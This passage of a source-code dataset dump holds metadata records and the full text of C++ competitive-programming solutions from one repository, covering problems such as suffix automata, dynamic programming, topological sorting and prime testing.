res.freq;\n}\n\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n >> m >> d >> ll;\n\tfor (int i = 1; i < n; i++) {\n\t\tcin >> x[i];\n\t}\n\tbuild(1, 1, n);\n\tfor (int i = 0; i < m; i++) {\n\t\tint pos;\n\t\tcin >> pos;\n\t\tupdate(pos, 1);\n\t}\n\tcout << query() << \"\\n\";\n\tfor (int i = 0; i < d; i++) {\n\t\tint p, r;\n\t\tcin >> p >> r;\n\t\tupdate(p, -1);\n\t\tupdate(r, 1);\n\t\tcout << query() << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.36073824763298035, "alphanum_fraction": 0.3803131878376007, "avg_line_length": 16.359222412109375, "blob_id": "4c2f279ac8c566c86ff546f2210859150a41b975", "content_id": "480dddc7b56ce4cad9c8abdd6582f6da8d7e689a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1788, "license_type": "no_license", "max_line_length": 69, "num_lines": 103, "path": "/Codeforces-Gym/100685 - 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100685F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\nint n,k;\nvector< int > g[MAXN];\n\nint st[MAXN] , top;\nbool mark[MAXN];\nbool mk2[MAXN];\n\nbool cycle( int u ){\n // cout << u << '\\n';\n if( mark[u] ){\n return false;\n }\n mark[u] = mk2[u] = true;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( mk2[v] || cycle(v) ){\n // cout << \"---cycle---\\n\" << '\\n';\n return true;\n }\n }\n\n st[ top-- ] = u;\n mk2[u] = false;\n\n return false;\n}\n\nvoid topsort( int n ){\n for( int i = 1; i <= n; i++ ){\n if( !mark[i] ){\n cycle(i);\n }\n }\n}\n\ndouble a[MAXN] , p[MAXN], cap[MAXN];\ndouble dp[MAXN];\n\nvoid solve( int n ){\n for( int i = 1; i <= n; i++ ){\n int u = st[ top + i ];\n //cout << u << ' ';\n\n if( dp[u] > cap[u] ){\n dp[u] -= cap[u];\n\n for( int j = 0; j < g[u].size(); j++ ){\n\n double w = ( double ) dp[u] / ( double ) g[u].size();\n\n int v = g[u][j];\n dp[v] += w;\n }\n\n a[u] = p[u];\n }\n else{\n a[u] += dp[u];\n }\n }\n //cout << '\\n';\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> k;\n\n for( int i = 1; i <= n; i++ ){\n cin >> p[i] >> a[i];\n cap[i] = p[i] - a[i];\n }\n\n for( int i = 0; i < k; i++ ){\n int x,y; cin >> x >> y;\n g[x].push_back( y );\n }\n\n int fin = n + 10;\n top = fin;\n topsort(n);\n\n int x,z; double y;\n cin >> x >> y >> z;\n\n dp[x] = y;\n solve(n);\n\n cout.precision( 5 );\n cout << fixed << a[z] << '\\n';\n}\n" }, { "alpha_fraction": 0.38054966926574707, "alphanum_fraction": 0.42283299565315247, "avg_line_length": 17.70833396911621, "blob_id": "6ee9a7d582636a4c95f6ef2a87b27caf8c63b346", "content_id": "f5314f4973a137b4760f8ec3313f74335d42f846", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 473, "license_type": "no_license", "max_line_length": 62, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p1052-Accepted-s603925.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nint n;\r\n\r\nbool p(int n) {\r\n\tif (n == 0 || n == 1) return 0;\r\n\tif (n == 2 || n == 3) return 1;\r\n\tif (!(n & 1)) return 0;\r\n\tfor (int i = 3; i * i <= n; i += 2)\r\n\t\tif (!(n % i)) return 0;\r\n\treturn 1;\r\n}\r\n\r\nvoid f(int td, int d, int num) {\r\n\tif (p(num) == false && num) return;\r\n\tif (d == td) {\r\n\t\tprintf(\"%d\\n\", num);\r\n\t}\r\n\telse for (int i = 1; i <= 9; i++) f(td, d + 1, 10 * num + i);\r\n}\r\n\r\nint main() {\r\n while (scanf(\"%d\", &n) == 1) f(n, 0, 0);\r\n}\r\n" }, { "alpha_fraction": 0.33807438611984253, "alphanum_fraction": 0.37636762857437134, "avg_line_length": 15.576923370361328, "blob_id": "91feeca3bb24e8a561afe5cac63191845551012a", "content_id": "184797e0770a855c618e87cb69a5cf9371232088", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 914, "license_type": "no_license", "max_line_length": 51, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p3247-Accepted-s796548.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int N = 1000;\r\n\r\nconst ll mod = 100000007;\r\n\r\nll f[N + 5];\r\nll c[N + 5][N + 5];\r\n\r\nint t, n;\r\nll s[N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\tf[0] = 1;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tf[i] = (f[i - 1] * i) % mod;\r\n\t}\r\n\tfor (int i = 0; i <= N; i++) {\r\n\t\tc[i][0] = c[i][i] = 1;\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tc[i][j] = (c[i - 1][j - 1] + c[i - 1][j]) % mod;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\ts[i] = -1;\r\n\t}\r\n\twhile (cin >> n && n) {\r\n\t\tif (s[n] != -1) {\r\n\t\t\tcout << s[n] << \"\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tll ans = 0;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tll tmp = (c[n][i] * f[n - i]) % mod;\r\n\t\t\tif (i & 1) {\r\n\t\t\t\tans = (ans + tmp) % mod;\r\n\t\t\t} else {\r\n\t\t\t\tans = (ans - tmp + mod) % mod;\r\n\t\t\t}\r\n\t\t}\r\n\t\ts[n] = ans;\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33144477009773254, "alphanum_fraction": 0.3647308647632599, "avg_line_length": 19.074626922607422, "blob_id": "f31b515a031f7513fc7b4b1afbc03cd48330fafc", "content_id": "42fed82bacc28f903b2c4ad7371e06ea887c9fae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1412, "license_type": "no_license", "max_line_length": 48, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p1800-Accepted-s550154.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#define MAXN 50000\r\n#define MOD 1000000009\r\nusing namespace std;\r\n\r\nint cas,n;\r\nint ceros;\r\nlong long arr[MAXN+10],sum,cant,maxe,cantme;\r\n\r\nint main()\r\n{\r\n\tfor(scanf(\"%d\",&cas); cas--;)\r\n\t{\r\n\t\tscanf(\"%d\",&n);\r\n\r\n\t\tmaxe=-(long long)1e9-100ll;\r\n\r\n\r\n\t\tfor(int i=0; i<n; i++)\r\n\t\t\tscanf(\"%lld\",&arr[i]);\r\n\r\n\t\tsort(arr,arr+n);\r\n\r\n\t\tmaxe=arr[n-1];\r\n\r\n\t\tif(maxe>0)\r\n {\r\n int k=n-1;\r\n sum=0ll;\r\n while(k>=0 && arr[k]>0)\r\n sum=(sum+arr[k]%MOD),\r\n k--;\r\n\r\n ceros=0;\r\n while(k>=0 && arr[k]==0)\r\n ceros++,\r\n k--;\r\n //printf(\"%d\\n\",ceros);\r\n cant=1;\r\n for(int i=1; i<=ceros; i++)\r\n cant=(cant*2)%MOD;\r\n printf(\"%lld %lld\\n\",sum,cant);\r\n }\r\n else if(maxe==0)\r\n {\r\n int k=n-1;\r\n ceros=0;\r\n while(k>=0 && arr[k]==maxe)\r\n ceros++,\r\n k--;\r\n cant=1;\r\n for(int i=1; i<=ceros; i++)\r\n cant=(cant*2)%MOD;\r\n printf(\"0 %lld\\n\",(cant-1+MOD)%MOD);\r\n }\r\n else\r\n {\r\n int k=n-1;\r\n cantme=0;\r\n while(k>=0 && arr[k]==maxe)\r\n cantme++,\r\n k--;\r\n printf(\"%lld %lld\\n\",maxe,cantme);\r\n }\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.47015833854675293, "alphanum_fraction": 0.48518067598342896, "avg_line_length": 16.94615364074707, "blob_id": "0f6366df812d15db180ca9b8f815df6ed0548ccd", "content_id": "a085d537b2390b548eae6f57d117957b30e21179", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2463, "license_type": "no_license", "max_line_length": 55, "num_lines": 130, "path": "/COJ/eliogovea-cojAC/eliogovea-p3550-Accepted-s1044944.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXS = 2 * 500000 + 1;\r\n\r\nint length[MAXS];\r\nmap <char, int> next[MAXS];\r\nint suffixLink[MAXS];\r\n\r\nint size;\r\nint last;\r\n\r\ninline int getNew(int _length) {\r\n\tint now = size++;\r\n\tlength[now] = _length;\r\n\tnext[now] = map <char, int> ();\r\n\tsuffixLink[now] = -1;\r\n\treturn now;\r\n}\r\n\r\ninline int getClone(int node, int _length) {\r\n\tint now = size++;\r\n\tlength[now] = _length;\r\n\tnext[now] = next[node];\r\n\tsuffixLink[now] = suffixLink[node];\r\n\treturn now;\r\n}\r\n\r\nvoid init() {\r\n\tsize = 0;\r\n\tlast = getNew(0);\r\n}\r\n\r\nvoid add(char c) {\r\n\tint p = last;\r\n\tif (next[p].find(c) != next[p].end()) {\r\n\t\tint q = next[p][c];\r\n\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\tlast = q;\r\n\t\t} else {\r\n\t\t\tint clone = getClone(q, length[p] + 1);\r\n\t\t\tsuffixLink[q] = clone;\r\n\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\tnext[p][c] = clone;\r\n\t\t\t\tp = suffixLink[p];\r\n\t\t\t}\r\n\t\t\tlast = clone;\r\n\t\t}\r\n\t} else {\r\n\t\tint cur = getNew(length[p] + 1);\r\n\t\twhile (p != -1 && next[p].find(c) == next[p].end()) {\r\n\t\t\tnext[p][c] = cur;\r\n\t\t\tp = suffixLink[p];\r\n\t\t}\r\n\t\tif (p == -1) {\r\n\t\t\tsuffixLink[cur] = 0;\r\n\t\t} else {\r\n\t\t\tint q = next[p][c];\r\n\t\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\t\tsuffixLink[cur] = q;\r\n\t\t\t} else {\r\n\t\t\t\tint clone = getClone(q, length[p] + 1);\r\n\t\t\t\tsuffixLink[q] = clone;\r\n\t\t\t\tsuffixLink[cur] = clone;\r\n\t\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\t\tnext[p][c] = clone;\r\n\t\t\t\t\tp = suffixLink[p];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tlast = cur;\r\n\t}\r\n}\r\n\r\nint freq[MAXS];\r\nint order[MAXS];\r\n\r\nvoid getOrder() {\r\n\tint maxLength = 0;\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tmaxLength = max(maxLength, length[i]);\r\n\t}\r\n\tfor (int i = 0; i <= maxLength; i++) {\r\n\t\tfreq[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\tfreq[length[i]]++;\r\n\t}\r\n\tfor (int i = 1; i <= maxLength; i++) {\r\n\t\tfreq[i] += freq[i - 1];\r\n\t}\r\n\tfor (int i = 0; i < size; i++) {\r\n\t\torder[--freq[length[i]]] = i;\r\n\t}\r\n}\r\n\r\nint n;\r\nstring s;\r\nlong long v;\r\nlong long sum[MAXS];\r\n\r\nvoid solve() {\r\n\tcin >> n;\r\n\tinit();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s >> v;\r\n\t\tfor (int j = 0; j < s.size(); j++) {\r\n\t\t\tadd(s[j]);\r\n\t\t\tsum[last] += v;\r\n\t\t}\r\n\t\tlast = 0;\r\n\t}\r\n\tgetOrder();\r\n\tfor (int i = size - 1; i >= 0; i--) {\r\n\t\tint s = order[i];\r\n\t\tsum[suffixLink[s]] += sum[s];\r\n\t}\r\n\tlong long ans = 0;\r\n\tfor (int i = 1; i < size; i++) {\r\n\t\tans = max(ans, (long long)length[i] * sum[i]);\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tsolve();\r\n}\r\n" }, { "alpha_fraction": 0.39764705300331116, "alphanum_fraction": 0.4376470446586609, "avg_line_length": 17.31818199157715, "blob_id": "cefcce1e730429a1890062bb84e79d0f56739792", "content_id": "37b19e2ee6bcbcd8e33836539fda33cab14df729", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 425, "license_type": "no_license", "max_line_length": 96, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p3672-Accepted-s955141.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\nconst int N = 5002;\r\n\r\nint n;\r\nstring s;\r\nint dp[N][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> s;\r\n\tfor (int l = n - 1; l >= 0; l--) {\r\n\t\tfor (int r = l + 1; r < n; r++) {\r\n\t\t\tdp[l][r] = min((s[l] == s[r] ? dp[l + 1][r - 1] : INF), 1 + min(dp[l + 1][r], dp[l][r - 1]));\r\n\t\t}\r\n\t}\r\n\tcout << dp[0][n - 1] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40510204434394836, "alphanum_fraction": 0.4336734712123871, "avg_line_length": 14.333333015441895, "blob_id": "8625e1ae6acba283a38b88be0793e12bed1beb74", "content_id": "c276f4473a14dd1f708409a8b6513d757fc9f712", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 980, "license_type": "no_license", "max_line_length": 55, "num_lines": 60, "path": "/COJ/eliogovea-cojAC/eliogovea-p3781-Accepted-s1120087.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 + 7;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint y = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\ty = mul(y, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn y;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t// freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tint n, p;\r\n\twhile (cin >> n >> p) {\r\n\t\tvector <int> a(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t}\r\n\t\tvector <int> pref(n + 1);\r\n\t\tpref[0] = 1;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tint val = power(p, a[i - 1]);\r\n\t\t\tadd(val, 1);\r\n\t\t\tpref[i] = mul(pref[i - 1], val);\r\n\r\n\t\t}\r\n\t\tint q;\r\n\t\tcin >> q;\r\n\t\twhile (q--) {\r\n\t\t\tint a, b;\r\n\t\t\tcin >> a >> b;\r\n\t\t\tint ans = mul(pref[b], power(pref[a - 1], MOD - 2));\r\n\t\t\tadd(ans, MOD - 1);\r\n\t\t\tcout << ans << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.46585366129875183, "alphanum_fraction": 0.49024391174316406, "avg_line_length": 18.600000381469727, "blob_id": "95348ec5acf9f6eea3a2a98d9800950c94bea3a8", "content_id": "e7e47e5d59fe22924cf5c8f7b09cdf8c066b3571", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 410, "license_type": "no_license", "max_line_length": 46, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1268-Accepted-s609262.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\nusing namespace std;\r\n\r\nint n;\r\n\r\nbool primo(int n) {\r\n\tif (n == 1) return false;\r\n\tif (n == 2 || n == 3) return true;\r\n\tif (n % 2 == 0) return false;\r\n\tfor (int i = 3; i * i <= n; i += 2)\r\n\t\tif (n % i == 0) return false;\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tif (n == 1) printf(\"YES\\n\");\r\n\telse if (n == 4) printf(\"NO\\n\");\r\n\telse printf(\"%s\\n\", primo(n) ? \"NO\" : \"YES\");\r\n}" }, { "alpha_fraction": 0.31355932354927063, "alphanum_fraction": 0.3368644118309021, "avg_line_length": 16.8799991607666, "blob_id": "d42b12b471ee72a2e228535c152d0bc952e21e43", "content_id": "e85b4c1af680c1d45454254aa805783f07c7f2e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 472, "license_type": "no_license", "max_line_length": 43, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2637-Accepted-s529054.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nlong long dp[1000001],x;\r\nint a,b,c,n,q;\r\n\r\nint main()\r\n{\r\n //freopen(\"a.out\",\"w\",stdout);\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%d%d\",&n,&q);\r\n for(int i=1; i<=n; i++)\r\n {\r\n scanf(\"%lld\",&x);\r\n dp[i]=dp[i-1]+x;\r\n }\r\n\r\n for(int i=1; i<=q; i++)\r\n {\r\n scanf(\"%d%d\",&a,&b);\r\n printf(\"%lld\\n\",dp[b+1]-dp[a]);\r\n }\r\n if(c)printf(\"\\n\");\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4014035165309906, "alphanum_fraction": 0.4350877106189728, "avg_line_length": 27.6875, "blob_id": "d65fd969b1f4b5d9a355351acf26d3bce42409a2", "content_id": "552e9ca2988ed9341996c58b66e41c00d9431cbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1425, "license_type": "no_license", "max_line_length": 114, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p2894-Accepted-s644904.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 1005, MAXK = 205;\r\n\r\nint n, k, a[MAXN][MAXN], dp[MAXK][MAXN], sol;\r\n\r\nconst int BUFFSIZE = 10240;\r\nchar BUFF[BUFFSIZE + 1], *ppp = BUFF;\r\nint RR, CHAR, SIGN, BYTES = 0;\r\n#define GETCHAR(c) { \\\r\n if(ppp-BUFF==BYTES && (BYTES==0 || BYTES==BUFFSIZE)) { BYTES = fread(BUFF,1,BUFFSIZE,stdin); ppp=BUFF; } \\\r\n if(ppp-BUFF==BYTES && (BYTES>0 && BYTES<BUFFSIZE)) { BUFF[0] = 0; ppp=BUFF; } \\\r\n c = *ppp++; \\\r\n}\r\n\r\n#define DIGIT(c) (((c) >= '0') && ((c) <= '9'))\r\n#define MINUS(c) ((c)== '-')\r\n#define GETNUMBER(n) { \\\r\n n = 0; SIGN = 1; do { GETCHAR(CHAR); } while(!(DIGIT(CHAR) || MINUS(CHAR))); \\\r\n if(MINUS(CHAR)) { SIGN = -1; GETCHAR(CHAR); } \\\r\n while(DIGIT(CHAR)) { n = 10*n + CHAR-'0'; GETCHAR(CHAR); } if(SIGN == -1) { n = -n; } \\\r\n}\r\n\r\nint main() {\r\n\tGETNUMBER(n);\r\n\tGETNUMBER(k);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tGETNUMBER(a[i][j]);\r\n\t\t\ta[i][j] += a[i][j - 1] + a[i - 1][j] - a[i - 1][j - 1];\r\n\t\t}\r\n\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tdp[1][i] = a[i][i];\r\n\tsol = dp[1][n];\r\n\tfor (int i = 2, x, y; i <= k; i++) {\r\n\t\tfor (int j = i; j <= n; j++) {\r\n\t\t\tx = 1 << 29;\r\n\t\t\tfor (int k = i; k <= j; k++) {\r\n\t\t\t\ty = dp[i - 1][k - 1] + a[j][j] - a[j][k - 1] - a[k - 1][j] + a[k - 1][k - 1];\r\n\t\t\t\tif (y < x) x = y;\r\n\t\t\t}\r\n\t\t\tdp[i][j] = x;\r\n\t\t}\r\n\t\tif (sol > dp[i][n]) sol = dp[i][n];\r\n\t}\r\n\tprintf(\"%d\\n\", sol >> 1);\r\n}\r\n" }, { "alpha_fraction": 0.31081080436706543, "alphanum_fraction": 0.33648648858070374, "avg_line_length": 13.416666984558105, "blob_id": "5b762f71bcf54ac70fe09677b3e294ea3be0bd43", "content_id": "658ffabebb3e014842ba737620fa69ae640da5bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1480, "license_type": "no_license", "max_line_length": 75, "num_lines": 96, "path": "/COJ/eliogovea-cojAC/eliogovea-p4096-Accepted-s1294970.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n, m;\r\n\tcin >> n >> m;\r\n\r\n\tif (n == 2) {\r\n\t\tcout << \"1.0\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tint low = n + m - 3;\r\n\r\n\tint answer = 2 * (n - 1);\r\n\r\n\r\n\tfor (int g = 0; g <= n - 1 && answer == 2 * (n - 1); g++) {\r\n\t\tfor (int e = 0; e <= 1 && g + e <= n - 1 && answer == 2 * (n - 1); e++) {\r\n\t\t\tbool ok = true;\r\n\r\n\t\t\t{ // max p\r\n\t\t\t\tint gg = g;\r\n\t\t\t\tint ee = e;\r\n\t\t\t\tint pp = n - 1 - gg - ee;\r\n\r\n\t\t\t\tint curLow = low;\r\n\r\n\t\t\t\tif (pp >= n - m) {\r\n\t\t\t\t\tcurLow += 2;\r\n\t\t\t\t} else if (pp + ee >= n - m) {\r\n\t\t\t\t\tcurLow++;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (2 * gg + ee <= curLow) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t{ // max ee\r\n\t\t\t\tint l = 0;\r\n\t\t\t\tint r = g;\r\n\t\t\t\tint v = r;\r\n\t\t\t\twhile (l <= r) {\r\n\t\t\t\t\tint mid = (l + r) >> 1;\r\n\t\t\t\t\tint ne = 2 * g - 2 * mid;\r\n\t\t\t\t\tif (mid + ne <= n - 1 - e) {\r\n\t\t\t\t\t\tv = mid;\r\n\t\t\t\t\t\tr = mid - 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tl = mid + 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tint gg = v;\r\n\t\t\t\tint ee = e + 2 * g - 2 * v;\r\n\t\t\t\tassert(gg + ee <= n - 1);\r\n\t\t\t\tint pp = n - 1 - gg - ee;\r\n\r\n\t\t\t\tint curLow = low;\r\n\r\n\t\t\t\tif (pp >= n - m) {\r\n\t\t\t\t\tcurLow += 2;\r\n\t\t\t\t} else if (pp + ee >= n - m) {\r\n\t\t\t\t\tcurLow++;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (2 * gg + ee <= curLow) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t\t\t{ // max pp + ee\r\n\t\t\t\r\n\t\t\t}\r\n\r\n\t\t\tif (ok) {\r\n\t\t\t\tanswer = 2 * g + e;\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t}\r\n\r\n\tcout << answer / 2;\r\n\tif (answer & 1) {\r\n\t\tcout << \".5\";\r\n\t} else {\r\n\t\tcout << \".0\";\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.46987950801849365, "alphanum_fraction": 0.4849397540092468, "avg_line_length": 18.32653045654297, "blob_id": "6c70a44888590c766a3f54a2e46174ce64f4d480", "content_id": "118827571447983683217dfbfb364b45c9b42a0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 996, "license_type": "no_license", "max_line_length": 67, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3405-Accepted-s894990.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nvector <int> digits;\r\n\r\nvoid fill(vector <int> &d, int n) {\r\n\twhile (n) {\r\n\t\td.push_back(n % 10);\r\n\t\tn /= 10;\r\n\t}\r\n}\r\n\r\nbool dfs(int n, int cur, int last, int pos, bool cut) {\r\n //cout << n << \" \" << cur << \" \" << last << \" \" << pos << \"\\n\";\r\n\tif (pos == digits.size()) {\r\n if (!cut) return false;\r\n\t\tif (n == cur * last) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n\tif ((last != 0 && ((n / cur) % last == 0)) && digits[pos] != 0) {\r\n\t\tif (dfs(n, cur * last, 0, pos, true)) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\tif (dfs(n, cur, 10 * last + digits[pos], pos + 1, cut)) {\r\n\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfill(digits, n);\r\n\tsort(digits.begin(), digits.end());\r\n\tbool ok = false;\r\n\tdo {\r\n\t\tif (dfs(n, 1, 0, 0, false)) {\r\n\t\t\tok = true;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t} while (next_permutation(digits.begin(), digits.end()));\r\n\tcout << (ok ? \"YES\" : \"NO\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.38198941946029663, "alphanum_fraction": 0.394938200712204, "avg_line_length": 20.237499237060547, "blob_id": "75b86e6c6347beab76942bb81d61473e1607cc42", "content_id": "8ee14e35c9314a0ad625ea17d4fc6823012ba127", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1699, "license_type": "no_license", "max_line_length": 87, "num_lines": 80, "path": "/Codeforces-Gym/101606 - 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)\n// 101606L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct point {\n int x, y;\n point() {}\n point(int _x, int _y) : x(_x), y(_y) {}\n};\n\n\nbool operator < (const point & P, const point & Q) {\n if (P.x != Q.x) {\n return P.x < Q.x;\n }\n return P.y < Q.y;\n}\n\nbool operator != (const point & P, const point & Q) {\n return (P < Q) || (Q < P);\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen( \"dat.txt\", \"r\", stdin );\n\n int tx, ty;\n cin >> tx >> ty;\n\n int n;\n cin >> n;\n\n vector <pair <point, pair <int, int> > > v(n);\n\n for (int i = 0; i < n; i++) {\n int x, y, h;\n cin >> x >> y >> h;\n x -= tx;\n y -= ty;\n int g = __gcd(abs(x), abs(y));\n v[i].first.x = x / g;\n v[i].first.y = y / g;\n v[i].second = make_pair(g, h);\n }\n\n sort(v.begin(), v.end());\n\n int ans = 0;\n\n for (int i = 0, j = 0; i <= n; i++) {\n if (i == n || v[i].first != v[j].first) {\n vector <pair <int, int> > vh(i - j);\n int p = 0;\n while (j < i) {\n vh[p++] = v[j++].second;\n }\n\n sort(vh.begin(), vh.end());\n\n vector <int> vl;\n for (int k = 0; k < (int)vh.size(); k++) {\n int pos = lower_bound(vl.begin(), vl.end(), vh[k].second) - vl.begin();\n if (pos == (int)vl.size()) {\n vl.push_back(vh[k].second);\n } else {\n vl[pos] = vh[k].second;\n }\n }\n\n ans += vl.size();\n }\n }\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.437426894903183, "alphanum_fraction": 0.45730993151664734, "avg_line_length": 17.88372039794922, "blob_id": "65aa9c286e03f9f35e029a7eacf44a5bf0e6d468", "content_id": "8ed5a820ecf7f5d667ff2219dde0be4cb22c096c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 855, "license_type": "no_license", "max_line_length": 63, 